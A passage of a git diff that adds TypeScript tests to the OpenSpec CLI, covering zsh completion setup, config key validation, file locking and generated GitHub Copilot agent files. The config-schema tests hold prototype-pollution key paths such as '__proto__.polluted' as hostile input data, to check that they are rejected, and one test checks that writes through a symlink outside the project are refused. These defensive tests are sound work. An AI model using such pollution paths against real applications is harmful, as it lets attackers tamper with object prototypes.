will fail on both Unix and Windows - const invalidPath = process.platform === 'win32' - ? 'Z:\\nonexistent\\invalid\\path' // Non-existent drive letter on Windows - : '/root/invalid/path'; // Permission-denied path on Unix - const invalidInstaller = new ZshInstaller(invalidPath); + it.skipIf(process.platform === 'win32')('should handle write permission errors gracefully', async () => { + const restrictedHome = path.join(testHomeDir, 'restricted-home'); + await fs.mkdir(restrictedHome, { recursive: true }); + await fs.chmod(restrictedHome, 0o555); + const invalidInstaller = new ZshInstaller(restrictedHome); const result = await invalidInstaller.configureZshrc(completionsDir); + await fs.chmod(restrictedHome, 0o755); + expect(result).toBe(false); }); }); @@ -630,28 +682,29 @@ describe('ZshInstaller', () => { expect(content).toContain('compinit'); }); - it('should configure .zshrc for Oh My Zsh when fpath is missing', async () => { + it('should not configure .zshrc for Oh My Zsh', async () => { const ohMyZshPath = path.join(testHomeDir, '.oh-my-zsh'); await fs.mkdir(ohMyZshPath, { recursive: true }); + const zshrcPath = path.join(testHomeDir, '.zshrc'); + const originalZshrc = [ + 'export ZSH="$HOME/.oh-my-zsh"', + 'source "$ZSH/oh-my-zsh.sh"', + '', + ].join('\n'); + await fs.writeFile(zshrcPath, originalZshrc); const result = await installer.install(testScript); expect(result.success).toBe(true); expect(result.isOhMyZsh).toBe(true); - // Should configure .zshrc if fpath doesn't already include the directory - expect(result.zshrcConfigured).toBe(true); - - // Verify .zshrc was created with fpath configuration - const zshrcPath = path.join(testHomeDir, '.zshrc'); - const exists = await fs.access(zshrcPath).then(() => true).catch(() => false); - expect(exists).toBe(true); + expect(result.zshrcConfigured).toBe(false); - if (exists) { - const content = await fs.readFile(zshrcPath, 'utf-8'); - expect(content).toContain('fpath='); - // Check for custom/completions or custom\completions (Windows path separator) - expect(content).toMatch(/custom[/\\]completions/); - } + const content = await fs.readFile(zshrcPath, 'utf-8'); + expect(content).toBe(originalZshrc); + expect(content).not.toContain('# OPENSPEC:START'); + expect(content).not.toContain('autoload -Uz compinit'); + expect(content).not.toContain('compinit'); + expect(result.instructions!.join('\n')).toContain('Oh My Zsh'); }); it('should not include manual instructions when .zshrc was auto-configured', async () => { diff --git a/test/core/config-schema.test.ts b/test/core/config-schema.test.ts index eeff81ccc8..4089bf01f0 100644 --- a/test/core/config-schema.test.ts +++ b/test/core/config-schema.test.ts @@ -7,6 +7,8 @@ import { coerceValue, formatValueYaml, validateConfig, + validateConfigKeyPath, + hasUnsafeKeySegment, GlobalConfigSchema, DEFAULT_CONFIG, } from '../../src/core/config-schema.js'; @@ -151,6 +153,23 @@ describe('config-schema', () => { expect(coerceValue('hello')).toBe('hello'); }); + it('should parse JSON arrays', () => { + expect(coerceValue('["new","ff","apply","archive"]')).toEqual([ + 'new', + 'ff', + 'apply', + 'archive', + ]); + }); + + it('should parse JSON objects', () => { + expect(coerceValue('{"nested":"value"}')).toEqual({ nested: 'value' }); + }); + + it('should keep malformed JSON containers as strings', () => { + expect(coerceValue('["new",')).toBe('["new",'); + }); + it('should keep strings that start with numbers but are not numbers', () => { expect(coerceValue('123abc')).toBe('123abc'); }); @@ -167,6 +186,7 @@ describe('config-schema', () => { expect(coerceValue('true', true)).toBe('true'); expect(coerceValue('42', true)).toBe('42'); expect(coerceValue('hello', true)).toBe('hello'); + expect(coerceValue('["new"]', true)).toBe('["new"]'); }); it('should not coerce Infinity to number (not finite)', () => { @@ -318,6 +338,16 @@ describe('config-schema', () => { expect(result.success).toBe(true); expect((config.featureFlags as Record<string, unknown>).experimental).toBe(false); }); + + it('should accept setting workflows from JSON array syntax', () => { + const config: Record<string, unknown> = { featureFlags: {}, profile: 'custom' }; + const value = coerceValue('["new","ff","apply","archive"]'); + setNestedValue(config, 'workflows', value); + + const result = validateConfig(config); + expect(result.success).toBe(true); + expect(config.workflows).toEqual(['new', 'ff', 'apply', 'archive']); + }); }); describe('GlobalConfigSchema', () => { @@ -330,6 +360,44 @@ describe('config-schema', () => { const result = GlobalConfigSchema.parse({}); expect(result.featureFlags).toEqual({}); }); + + it('should accept telemetry.enabled with passthrough identity fields', () => { + const result = GlobalConfigSchema.safeParse({ + telemetry: { + enabled: false, + anonymousId: 'keep-me', + noticeSeen: true, + }, + }); + expect(result.success).toBe(true); + if (result.success) { + expect(result.data.telemetry).toEqual({ + enabled: false, + anonymousId: 'keep-me', + noticeSeen: true, + }); + } + }); + + it('should reject non-boolean telemetry.enabled', () => { + const result = GlobalConfigSchema.safeParse({ + telemetry: { enabled: 'nope' }, + }); + expect(result.success).toBe(false); + }); + }); + + describe('validateConfigKeyPath telemetry', () => { + it('allows telemetry.enabled only', () => { + expect(validateConfigKeyPath('telemetry.enabled')).toEqual({ valid: true }); + }); + + it('rejects bare telemetry and unknown leaves', () => { + expect(validateConfigKeyPath('telemetry').valid).toBe(false); + expect(validateConfigKeyPath('telemetry.anonymousId').valid).toBe(false); + expect(validateConfigKeyPath('telemetry.noticeSeen').valid).toBe(false); + expect(validateConfigKeyPath('telemetry.enabled.extra').valid).toBe(false); + }); }); describe('DEFAULT_CONFIG', () => { @@ -337,4 +405,96 @@ describe('config-schema', () => { expect(DEFAULT_CONFIG.featureFlags).toEqual({}); }); }); + + describe('prototype pollution guards', () => { + const unsafePaths = [ + '__proto__.polluted', + 'constructor.prototype.polluted', + 'featureFlags.__proto__', + 'prototype.polluted', + ]; + + it.each(unsafePaths)('setNestedValue leaves the prototype untouched for "%s"', (path) => { + const obj: Record<string, unknown> = {}; + setNestedValue(obj, path, 'polluted'); + + expect(({} as Record<string, unknown>).polluted).toBeUndefined(); + expect(Object.prototype).not.toHaveProperty('polluted'); + }); + + it.each(unsafePaths)('deleteNestedValue refuses "%s"', (path) => { + expect(deleteNestedValue({}, path)).toBe(false); + }); + + it.each(unsafePaths)('validateConfigKeyPath rejects "%s"', (path) => { + expect(validateConfigKeyPath(path).valid).toBe(false); + }); + + it.each(unsafePaths)('getNestedValue reads nothing for "%s"', (path) => { + expect(getNestedValue({}, path)).toBeUndefined(); + }); + + it('flags unsafe segments anywhere in the path', () => { + expect(hasUnsafeKeySegment('featureFlags.__proto__')).toBe(true); + expect(hasUnsafeKeySegment('featureFlags.myFlag')).toBe(false); + expect(hasUnsafeKeySegment('profile')).toBe(false); + }); + + it('still sets legitimate nested keys', () => { + const obj: Record<string, unknown> = {}; + setNestedValue(obj, 'featureFlags.myFlag', true); + expect(obj).toEqual({ featureFlags: { myFlag: true } }); + expect(deleteNestedValue(obj, 'featureFlags.myFlag')).toBe(true); + }); + }); + + // A guard that runs while walking the path creates the objects for the safe + // prefix before it reaches the unsafe segment, so the write is rejected but the + // target keeps the debris. Every case below puts the unsafe segment *after* a + // safe one and asserts the whole object, which the prototype-only assertions + // above cannot catch. + describe('a rejected key path leaves the target untouched', () => { + const clone = <T>(value: T): T => JSON.parse(JSON.stringify(value)) as T; + + const cases: Array<[string, Record<string, unknown>]> = [ + ['b.constructor.c', { a: 'x' }], + ['featureFlags.__proto__', { featureFlags: { myFlag: true } }], + ['a.b.__proto__.c', { a: { b: { keep: 1 } } }], + ['profile.prototype', { profile: 'core' }], + ['deep.nested.prototype', {}], + ['one.two.three.constructor', {}], + ]; + + it.each(cases)('setNestedValue writes nothing for "%s"', (path, seed) => { + const before = clone(seed); + const obj = clone(seed); + + setNestedValue(obj, path, 'value'); + + expect(obj).toEqual(before); + expect(Object.keys(obj)).toEqual(Object.keys(before)); + }); + + it.each(cases)('deleteNestedValue writes nothing for "%s"', (path, seed) => { + const before = clone(seed); + const obj = clone(seed); + + expect(deleteNestedValue(obj, path)).toBe(false); + + expect(obj).toEqual(before); + expect(Object.keys(obj)).toEqual(Object.keys(before)); + }); + + // When the unsafe segment is last, the debris is a re-parented prototype + // rather than an extra key, which a structural comparison alone would miss. + it('does not re-parent the target when the final segment is unsafe', () => { + const obj: Record<string, unknown> = { featureFlags: { myFlag: true } }; + + setNestedValue(obj, 'featureFlags.__proto__', { polluted: true }); + + expect(obj).toEqual({ featureFlags: { myFlag: true } }); + expect(Object.getPrototypeOf(obj.featureFlags)).toBe(Object.prototype); + expect((obj.featureFlags as Record<string, unknown>).polluted).toBeUndefined(); + }); + }); }); diff --git a/test/core/file-state.test.ts b/test/core/file-state.test.ts new file mode 100644 index 0000000000..9456c06533 --- /dev/null +++ b/test/core/file-state.test.ts @@ -0,0 +1,206 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { + acquireFileLock, + releaseFileLock, + writeFileAtomically, +} from '../../src/core/file-state.js'; +import { updateStoreRegistryState } from '../../src/core/store/index.js'; + +describe('file-state', () => { + let tempDir: string; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-file-state-')); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + function errorFor( + kind: 'create-failed' | 'timeout', + info: { lockPath: string; cause?: unknown } + ): Error { + return new Error(`${kind}:${info.lockPath}`); + } + + // posix-only: these induce a lock-create failure via chmod(0o555), which + // win32 ignores for directories, so the lock would succeed instead of + // rejecting. The production error shapes are platform-agnostic. + const itPosix = it.skipIf(process.platform === 'win32'); + + describe('writeFileAtomically', () => { + it('writes content and creates parent directories', async () => { + const target = path.join(tempDir, 'nested', 'state.yaml'); + + await writeFileAtomically(target, 'version: 1\n'); + + expect(fs.readFileSync(target, 'utf-8')).toBe('version: 1\n'); + }); + + it('leaves no temp file behind after a write', async () => { + const target = path.join(tempDir, 'state.yaml'); + + await writeFileAtomically(target, 'a\n'); + await writeFileAtomically(target, 'b\n'); + + expect(fs.readFileSync(target, 'utf-8')).toBe('b\n'); + expect(fs.readdirSync(tempDir)).toEqual(['state.yaml']); + }); + + itPosix('creates private state files and tightens replaced file permissions', async () => { + const target = path.join(tempDir, 'state.yaml'); + fs.writeFileSync(target, 'old\n', { mode: 0o666 }); + fs.chmodSync(target, 0o666); + + await writeFileAtomically(target, 'new\n'); + + expect(fs.statSync(target).mode & 0o777).toBe(0o600); + }); + }); + + describe('acquireFileLock', () => { + it('acquires and releases the lock file', async () => { + const lockPath = path.join(tempDir, 'state.yaml.lock'); + + const lock = await acquireFileLock({ lockPath, errorFor }); + expect(fs.existsSync(lockPath)).toBe(true); + + await releaseFileLock(lock, lockPath); + expect(fs.existsSync(lockPath)).toBe(false); + }); + + it('does not let an old owner remove a replacement lock', async () => { + const lockPath = path.join(tempDir, 'state.yaml.lock'); + const oldLock = await acquireFileLock({ lockPath, errorFor }); + + // Model a stale owner whose lock was removed and replaced before its + // delayed cleanup finally runs. + await oldLock.close(); + fs.rmSync(lockPath); + const replacementLock = await acquireFileLock({ lockPath, errorFor }); + const replacementToken = fs.readFileSync(lockPath, 'utf-8'); + + await releaseFileLock(oldLock, lockPath); + + expect(fs.readFileSync(lockPath, 'utf-8')).toBe(replacementToken); + await releaseFileLock(replacementLock, lockPath); + expect(fs.existsSync(lockPath)).toBe(false); + }); + + itPosix('creates lock files with private permissions', async () => { + const lockPath = path.join(tempDir, 'state.yaml.lock'); + + const lock = await acquireFileLock({ lockPath, errorFor }); + + expect(fs.statSync(lockPath).mode & 0o777).toBe(0o600); + await releaseFileLock(lock, lockPath); + }); + + it('acquires a lock when the filesystem does not support fsync', async () => { + const lockPath = path.join(tempDir, 'state.yaml.lock'); + const originalOpen = fs.promises.open.bind(fs.promises); + const openSpy = vi.spyOn(fs.promises, 'open').mockImplementationOnce(async (...args) => { + const handle = await originalOpen(...args); + vi.spyOn(handle, 'sync').mockRejectedValueOnce( + Object.assign(new Error('sync unsupported'), { code: 'ENOTSUP' }) + ); + return handle; + }); + + try { + const lock = await acquireFileLock({ lockPath, errorFor }); + await releaseFileLock(lock, lockPath); + } finally { + openSpy.mockRestore(); + } + + expect(fs.existsSync(lockPath)).toBe(false); + }); + + itPosix('reports lock-create failures through the injected factory', async () => { + // A directory at the lock path makes open(wx) fail with a + // non-EEXIST-style conflict on every platform... except that a + // directory yields EEXIST too; use an unwritable parent instead. + const parent = path.join(tempDir, 'no-write'); + fs.mkdirSync(parent); + fs.chmodSync(parent, 0o555); + const lockPath = path.join(parent, 'state.yaml.lock'); + + try { + await expect( + acquireFileLock({ lockPath, errorFor }) + ).rejects.toThrowError(`create-failed:${lockPath}`); + } finally { + fs.chmodSync(parent, 0o755); + } + }); + }); + + describe('store registry delegation (byte-identical error shapes)', () => { + it('reports an aged contended lock as busy instead of racing to steal it', async () => { + const globalDataDir = path.join(tempDir, 'data'); + const registryPath = path.join( + globalDataDir, + 'stores', + 'registry.yaml' + ); + const lockPath = `${registryPath}.lock`; + fs.mkdirSync(path.dirname(registryPath), { recursive: true }); + fs.writeFileSync(lockPath, ''); + const staleTime = new Date(Date.now() - 60_000); + fs.utimesSync(lockPath, staleTime, staleTime); + + const started = Date.now(); + try { + await expect( + updateStoreRegistryState((state) => state ?? { version: 1, stores: {} }, { + globalDataDir, + }) + ).rejects.toMatchObject({ + message: 'Store registry is busy.', + diagnostic: { + severity: 'error', + code: 'store_registry_busy', + message: 'Store registry is busy.', + target: 'store.registry', + fix: `Retry shortly; if this persists, delete the stale lock file ${lockPath}.`, + }, + }); + expect(Date.now() - started).toBeGreaterThanOrEqual(4900); + } finally { + fs.rmSync(lockPath, { force: true }); + } + }, 15_000); + + itPosix('reports lock-create failure with the permissions fix', async () => { + const globalDataDir = path.join(tempDir, 'data'); + const storesDir = path.join(globalDataDir, 'stores'); + const registryPath = path.join(storesDir, 'registry.yaml'); + const lockPath = `${registryPath}.lock`; + fs.mkdirSync(storesDir, { recursive: true }); + fs.chmodSync(storesDir, 0o555); + + try { + await expect( + updateStoreRegistryState((state) => state ?? { version: 1, stores: {} }, { + globalDataDir, + }) + ).rejects.toMatchObject({ + message: `Cannot create the registry lock file ${lockPath} (EACCES).`, + diagnostic: { + code: 'store_registry_busy', + target: 'store.registry', + fix: `Check permissions on ${path.dirname(lockPath)}.`, + }, + }); + } finally { + fs.chmodSync(storesDir, 0o755); + } + }); + }); +}); diff --git a/test/core/github-copilot-cloud-agent.test.ts b/test/core/github-copilot-cloud-agent.test.ts new file mode 100644 index 0000000000..863bff8270 --- /dev/null +++ b/test/core/github-copilot-cloud-agent.test.ts @@ -0,0 +1,769 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import os from 'os'; +import path from 'path'; +import { promises as fs } from 'fs'; +import { parse } from 'yaml'; +import { + includesGitHubCopilot, + generateCopilotSetupSteps, + generateCopilotAgentFile, + COPILOT_CLOUD_FILES, + removeCopilotCloudFiles, + writeCopilotCloudFiles, + readCopilotCloudOptIn, + hasExistingManagedCloudFiles, + isCopilotCloudEnabled, + persistCopilotCloudOptIn, + findUnmanagedCloudFiles, + listManagedCloudFiles, +} from '../../src/core/github-copilot/cloud-agent.js'; + +const MANAGED_MARKER = 'Generated by OpenSpec for GitHub Copilot coding agent support.'; +const MARKERLESS_LEGACY_COPILOT_AGENT_FILE = `--- +name: OpenSpec +description: "Manages OpenSpec changes, specs, and workflows using the OpenSpec CLI. Use this agent for proposing changes, exploring ideas, validating artifacts, checking status, and archiving completed work." +tools: + - "terminal" +--- + +# OpenSpec Agent + +You are a specialized agent for managing OpenSpec workflows. You have access to the \`openspec\` CLI which is pre-installed in the development environment via \`copilot-setup-steps.yml\`. + +## What is OpenSpec? + +OpenSpec is a structured change management system for codebases. It organizes work into **changes** with planning artifacts (proposals, specs, designs, tasks) that guide implementation. + +## Available Commands + +### Agent-Compatible CLI Commands (prefer \`--json\` for structured output) + +| Command | Purpose | +|---------|---------| +| \`openspec list [--json]\` | List all changes and specs | +| \`openspec show <item> [--json]\` | View a specific change or spec | +| \`openspec validate [--all] [--json]\` | Validate changes and specs for issues | +| \`openspec status [--json]\` | Show artifact progress for active changes | +| \`openspec instructions [--json]\` | Get next-step instructions for a change | +| \`openspec templates [--json]\` | List available templates | +| \`openspec schemas [--json]\` | List available workflow schemas | +| \`openspec archive <change>\` | Archive a completed change | + +### Interactive CLI Commands (use when prompted by the user) + +| Command | Purpose | +|---------|---------| +| \`openspec init\` | Initialize OpenSpec in the project | +| \`openspec update\` | Update OpenSpec configuration and artifacts | +| \`openspec view\` | Interactive dashboard | +| \`openspec config\` | View or modify settings | + +## Workflow + +When asked to work with OpenSpec, follow this pattern: + +1. **Check current state**: Run \`openspec status --json\` to understand what changes exist and their progress. +2. **Follow instructions**: Run \`openspec instructions --json\` to get context-aware next steps. +3. **Validate before completing**: Run \`openspec validate --all --json\` to ensure artifacts are correct. + +## Creating New Changes + +When the user wants to propose a new change: + +1. Create the change directory under \`openspec/changes/<change-name>/\` +2. Generate the required planning artifacts based on the project's configured workflow schema +3. Run \`openspec validate --json\` to verify the artifacts are well-formed + +## Key Directories + +- \`openspec/\` \u2014 Root OpenSpec directory +- \`openspec/changes/\` \u2014 Active changes with their artifacts +- \`openspec/config.yaml\` \u2014 Project configuration +- \`openspec/explorations/\` \u2014 Exploration documents + +## Best Practices + +- Always use \`--json\` flag when you need to parse output programmatically +- Run \`openspec validate\` after creating or modifying artifacts +- Check \`openspec status\` before starting work to understand the current state +- When archiving, ensure all tasks are completed and validated first +`; + +describe('GitHub Copilot Cloud Agent', () => { + let tempDir: string; + + function removeManagedMarker(content: string): string { + const withoutMarker = content + .replace(/^# Generated by OpenSpec for GitHub Copilot coding agent support\.\n\n/, '') + .replace(/\n<!-- Generated by OpenSpec for GitHub Copilot coding agent support\. -->\n/, ''); + expect(withoutMarker).not.toBe(content); + expect(withoutMarker).not.toContain(MANAGED_MARKER); + return withoutMarker; + } + + function withCrLf(content: string): string { + return content.replace(/\n/g, '\r\n'); + } + + async function linkDirectoryOutsideProject(outsideDir: string): Promise<void> { + await fs.symlink( + outsideDir, + path.join(tempDir, '.github'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + } + + beforeEach(async () => { + tempDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-copilot-cloud-agent-')); + }); + + afterEach(async () => { + await fs.rm(tempDir, { recursive: true, force: true }); + }); + + describe('includesGitHubCopilot', () => { + it('returns true when github-copilot is in the list', () => { + expect(includesGitHubCopilot(['claude', 'github-copilot', 'cursor'])).toBe(true); + }); + + it('returns false when github-copilot is not in the list', () => { + expect(includesGitHubCopilot(['claude', 'cursor'])).toBe(false); + }); + + it('returns false for empty list', () => { + expect(includesGitHubCopilot([])).toBe(false); + }); + }); + + describe('generateCopilotSetupSteps', () => { + it('generates a structurally valid Copilot setup workflow', () => { + const content = generateCopilotSetupSteps(); + const workflow = parse(content); + + expect(workflow).toMatchObject({ + name: 'Copilot Setup Steps', + on: { + workflow_dispatch: null, + push: { paths: ['.github/workflows/copilot-setup-steps.yml'] }, + pull_request: { paths: ['.github/workflows/copilot-setup-steps.yml'] }, + }, + jobs: { + 'copilot-setup-steps': { + 'runs-on': 'ubuntu-latest', + 'timeout-minutes': 10, + permissions: { contents: 'read' }, + }, + }, + }); + expect(Object.keys(workflow.jobs)).toEqual(['copilot-setup-steps']); + expect(workflow.jobs['copilot-setup-steps'].steps).toEqual( + expect.arrayContaining([ + expect.objectContaining({ run: 'npm install -g @fission-ai/openspec' }), + expect.objectContaining({ run: 'openspec --version' }), + ]) + ); + }); + }); + + describe('generateCopilotAgentFile', () => { + it('generates valid agent frontmatter and non-interactive guidance', () => { + const content = generateCopilotAgentFile(); + const frontmatterMatch = content.match(/^---\n([\s\S]*?)\n---\n/); + expect(frontmatterMatch).not.toBeNull(); + const frontmatter = parse(frontmatterMatch![1]); + + expect(frontmatter).toEqual({ + name: 'OpenSpec', + description: expect.any(String), + tools: ['execute', 'read', 'search', 'edit'], + }); + expect(content).toContain('Generated by OpenSpec for GitHub Copilot coding agent support.'); + expect(content).toContain('# OpenSpec Agent'); + expect(content).toContain('openspec list'); + expect(content).toContain('openspec new change <name>'); + expect(content).toContain('openspec status --change <name> --json'); + expect(content).toContain('openspec instructions [artifact] --change <name> --json'); + expect(content).toContain('openspec archive <change> --json [--yes]'); + expect(content).toContain('use `--yes` only after confirming all tasks are complete'); + expect(content).toContain('run `openspec --version`'); + expect(content).not.toContain('pre-installed in the development environment'); + expect(content).not.toContain('Create the change directory under'); + expect(content).toContain('openspec validate'); + }); + }); + + describe('COPILOT_CLOUD_FILES', () => { + it('has correct file paths', () => { + expect(COPILOT_CLOUD_FILES.setupSteps).toBe(path.join('.github', 'workflows', 'copilot-setup-steps.yml')); + expect(COPILOT_CLOUD_FILES.agent).toBe(path.join('.github', 'agents', 'openspec.agent.md')); + }); + }); + + describe('writeCopilotCloudFiles', () => { + it('writes missing cloud files and creates parent directories', async () => { + const result = await writeCopilotCloudFiles(tempDir); + + expect(result).toEqual({ setupStepsWritten: true, agentWritten: true }); + await expect(fs.stat(path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps))).resolves.toBeTruthy(); + await expect(fs.stat(path.join(tempDir, COPILOT_CLOUD_FILES.agent))).resolves.toBeTruthy(); + }); + + it('preserves customized existing files', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const agentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.mkdir(path.dirname(agentPath), { recursive: true }); + await fs.writeFile(setupStepsPath, 'custom setup'); + await fs.writeFile(agentPath, 'custom agent'); + + const result = await writeCopilotCloudFiles(tempDir); + + expect(result).toEqual({ setupStepsWritten: false, agentWritten: false }); + await expect(fs.readFile(setupStepsPath, 'utf8')).resolves.toBe('custom setup'); + await expect(fs.readFile(agentPath, 'utf8')).resolves.toBe('custom agent'); + }); + + it('creates robust agent guidance alongside a customized setup workflow', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const agentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + const customSetup = 'name: custom setup\n'; + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.writeFile(setupStepsPath, customSetup); + + const result = await writeCopilotCloudFiles(tempDir); + + expect(result).toEqual({ setupStepsWritten: false, agentWritten: true }); + await expect(fs.readFile(setupStepsPath, 'utf8')).resolves.toBe(customSetup); + const agentContent = await fs.readFile(agentPath, 'utf8'); + expect(agentContent).toContain('run `openspec --version`'); + expect(agentContent).toContain('install it with `npm install -g @fission-ai/openspec`'); + expect(agentContent).not.toContain('pre-installed in the development environment'); + }); + + it('preserves an alternate user-owned agent with the same Copilot identifier', async () => { + const alternateAgentPath = path.join(tempDir, '.github', 'agents', 'openspec.md'); + const generatedAgentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + const customAgent = 'user-owned OpenSpec agent\n'; + await fs.mkdir(path.dirname(alternateAgentPath), { recursive: true }); + await fs.writeFile(alternateAgentPath, customAgent); + + const result = await writeCopilotCloudFiles(tempDir); + + expect(result).toEqual({ setupStepsWritten: true, agentWritten: false }); + await expect(fs.readFile(alternateAgentPath, 'utf8')).resolves.toBe(customAgent); + await expect(fs.stat(generatedAgentPath)).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('removes a managed agent when an alternate user-owned agent is added later', async () => { + const alternateAgentPath = path.join(tempDir, '.github', 'agents', 'openspec.md'); + const generatedAgentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + const customAgent = 'user-owned OpenSpec agent\n'; + await writeCopilotCloudFiles(tempDir); + await fs.writeFile(alternateAgentPath, customAgent); + + const result = await writeCopilotCloudFiles(tempDir); + + expect(result).toEqual({ setupStepsWritten: false, agentWritten: false }); + await expect(fs.readFile(alternateAgentPath, 'utf8')).resolves.toBe(customAgent); + await expect(fs.stat(generatedAgentPath)).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('reports conflicting user-owned agent profiles without creating setup files', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const alternateAgentPath = path.join(tempDir, '.github', 'agents', 'openspec.md'); + const generatedAgentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + await fs.mkdir(path.dirname(alternateAgentPath), { recursive: true }); + await fs.writeFile(alternateAgentPath, 'custom alternate agent\n'); + await fs.writeFile(generatedAgentPath, 'custom generated-path agent\n'); + + await expect(writeCopilotCloudFiles(tempDir)).rejects.toThrow( + 'Conflicting Copilot agent profiles' + ); + + await expect(fs.stat(setupStepsPath)).rejects.toMatchObject({ code: 'ENOENT' }); + await expect(fs.readFile(alternateAgentPath, 'utf8')).resolves.toBe( + 'custom alternate agent\n' + ); + await expect(fs.readFile(generatedAgentPath, 'utf8')).resolves.toBe( + 'custom generated-path agent\n' + ); + }); + + it('rejects a directory at a managed file path before creating other files', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const agentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + await fs.mkdir(agentPath, { recursive: true }); + + await expect(writeCopilotCloudFiles(tempDir)).rejects.toThrow( + 'Managed Copilot path is not a regular file' + ); + + await expect(fs.stat(setupStepsPath)).rejects.toMatchObject({ code: 'ENOENT' }); + expect((await fs.stat(agentPath)).isDirectory()).toBe(true); + }); + + it('refreshes exact legacy generated files', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const agentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.mkdir(path.dirname(agentPath), { recursive: true }); + await fs.writeFile(setupStepsPath, removeManagedMarker(generateCopilotSetupSteps())); + await fs.writeFile(agentPath, MARKERLESS_LEGACY_COPILOT_AGENT_FILE); + + const result = await writeCopilotCloudFiles(tempDir); + + expect(result).toEqual({ setupStepsWritten: true, agentWritten: true }); + await expect(fs.readFile(setupStepsPath, 'utf8')).resolves.toBe( + generateCopilotSetupSteps() + ); + await expect(fs.readFile(agentPath, 'utf8')).resolves.toBe(generateCopilotAgentFile()); + }); + + it('refreshes the previous marker-bearing generated agent', async () => { + const agentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + const previousAgent = generateCopilotAgentFile() + .replace( + 'You are a specialized agent for managing OpenSpec workflows. Before using the `openspec` CLI, run `openspec --version`. If it is unavailable, install it with `npm install -g @fission-ai/openspec`.', + 'You are a specialized agent for managing OpenSpec workflows. You have access to the `openspec` CLI through shell commands, pre-installed in the development environment via `copilot-setup-steps.yml`.' + ) + .replace( + '| `openspec archive <change> --json [--yes]` | Archive a completed change; use `--yes` only after confirming all tasks are complete |', + '| `openspec archive <change>` | Archive a completed change |' + ); + await fs.mkdir(path.dirname(agentPath), { recursive: true }); + await fs.writeFile(agentPath, previousAgent); + + const result = await writeCopilotCloudFiles(tempDir); + + expect(result.agentWritten).toBe(true); + await expect(fs.readFile(agentPath, 'utf8')).resolves.toBe(generateCopilotAgentFile()); + }); + + it('leaves current generated files unchanged, including CRLF content', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const agentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + const setupStepsContent = generateCopilotSetupSteps(); + const agentContent = withCrLf(generateCopilotAgentFile()); + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.mkdir(path.dirname(agentPath), { recursive: true }); + await fs.writeFile(setupStepsPath, setupStepsContent); + await fs.writeFile(agentPath, agentContent); + + const result = await writeCopilotCloudFiles(tempDir); + + expect(result).toEqual({ setupStepsWritten: false, agentWritten: false }); + await expect(fs.readFile(setupStepsPath, 'utf8')).resolves.toBe(setupStepsContent); + await expect(fs.readFile(agentPath, 'utf8')).resolves.toBe(agentContent); + }); + + it('refuses to write cloud files through a linked .github directory', async () => { + const outsideDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-copilot-outside-')); + const outsideSetupStepsPath = path.join( + outsideDir, + 'workflows', + 'copilot-setup-steps.yml' + ); + const outsideAgentPath = path.join(outsideDir, 'agents', 'openspec.agent.md'); + + try { + await linkDirectoryOutsideProject(outsideDir); + + await expect(writeCopilotCloudFiles(tempDir)).rejects.toThrow( + 'Path is outside the allowed directory' + ); + await expect(fs.stat(outsideSetupStepsPath)).rejects.toMatchObject({ code: 'ENOENT' }); + await expect(fs.stat(outsideAgentPath)).rejects.toMatchObject({ code: 'ENOENT' }); + } finally { + await fs.rm(outsideDir, { recursive: true, force: true }); + } + }); + }); + + describe('removeCopilotCloudFiles', () => { + it('removes only existing cloud files and returns the removal count', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const agentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + await writeCopilotCloudFiles(tempDir); + await fs.rm(agentPath, { force: true }); + + const removed = await removeCopilotCloudFiles(tempDir); + + expect(removed).toBe(1); + await expect(fs.stat(setupStepsPath)).rejects.toMatchObject({ code: 'ENOENT' }); + await expect(fs.stat(agentPath)).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('keeps customized cloud files', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const agentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.mkdir(path.dirname(agentPath), { recursive: true }); + await fs.writeFile(setupStepsPath, 'custom setup'); + await fs.writeFile(agentPath, 'custom agent'); + + const removed = await removeCopilotCloudFiles(tempDir); + + expect(removed).toBe(0); + await expect(fs.readFile(setupStepsPath, 'utf8')).resolves.toBe('custom setup'); + await expect(fs.readFile(agentPath, 'utf8')).resolves.toBe('custom agent'); + }); + + it('keeps modified marker-bearing cloud files', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const agentPath = path.join(tempDir, 